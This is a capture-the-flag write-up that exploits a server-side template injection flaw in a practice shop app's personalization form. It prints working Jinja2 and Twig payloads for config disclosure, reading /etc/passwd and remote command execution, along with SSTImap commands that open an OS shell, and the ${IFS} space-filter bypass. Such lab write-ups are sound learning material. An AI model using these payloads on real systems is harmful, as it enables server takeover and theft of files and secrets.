Webverselabs BlockPixel Goods Challenge SSTI
Scenario :
BlockPixel Goods is Maya, Theo, and Reese — three friends who met at a craft fair in Portland in 2022 and started selling pixel-art hoodies from a garage. They graduated to a real shop in 2024 and added the “Make It Yours” personalization flow last spring, when a customer asked if she could put her Minecraft realm’s name on a tote bag for her sister. Maya wired the preview page up in an afternoon.
Solution :
We first start by browsing the app just like a normal user, view the different endpoints, features and request made to the server . We’re mainly looking for parameters whether it be inside a GET request in the URL , or inside the Body of a POST Request.
/Shop :
This is just a list of designs that we can buy, if we click on any of them , we have the possibility to add them to our cart or make them ours :
/Make it yours :
If we click on Make it yours we’re redirected to this page , where we can add a Tag and a Slogan let’s first make a normal Request and check it on Burp to understand it better :
We see that this sends a POST request with the 2 parameters we specified , but both of them are reflected back to us , this can be an indicator that a ServerSide template it being used .
Templates are used to dynamically render content by injecting variables into HTML pages . BUT when user input is embedded directly into them without sanitization, it leads to SSTI (Server-Side Template Injection), a vulnerability that allows an attacker to inject and run malicious code on the server.
I already have a detailed section on my Web_App methdology for SSTI injections that i will be following :
1
https://elmehdilaassiri.github.io/posts/web-app-pentesting-methodology/#ssti-
1
2
3
4
5
# Detection payload:
${7*7}
{{7*7}}
# Follow this graph to identify the engine:
# https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/
Exploitation : Jinja2
1
2
3
4
5
6
7
8
9
# 1/ Information Disclosure :
{{ config.items() }}
{{ self.__init__.__globals__.__builtins__ }}
# 2/ LFI :
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
# 3/ RCE :
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Exploitation : Twig
1
2
3
4
5
6
7
8
# 1/ Information Disclosure :
{{ _self }}
# 2/ LFI :
{{ "/etc/passwd"|file_excerpt(1,-1) }}
# 3/ RCE :
{{ ['id'] | filter('system') }}
Automation :
1
2
3
4
5
6
7
8
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
python3 sstimap.py -u http://172.17.0.2/index.php?name=test
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
Now first i injected a simple payload 7*7 and based on the response we would know wether or not our code was executed and if we have an SSTI or not , if we get 49 rendered to us this means we got our code executed .
After that based on the Response we get from the server , we would know which Engine is being used . We will follow this diagram from Payload All the Things .
Now back to our Burp request :
Perfect we can see that our code was executed , which means the slogan parameter was indeed vulnerable to an SSTI .
From there i decided to inject Jinja payload to save some time , if we get an error we can move to the twig payloads :
Perfect this confirms that the template used is indeed Jinja , now we can try the RCE payload :
Perfect now we just read the flag , if you get a problem with spaces just replace them with ${IFS} :
We can also try the LFI payloads and read the flag that way :
Just specify the path for the flag which is /flag.txt and you should get your flag.
That was all for this challenge, see you in the next one :)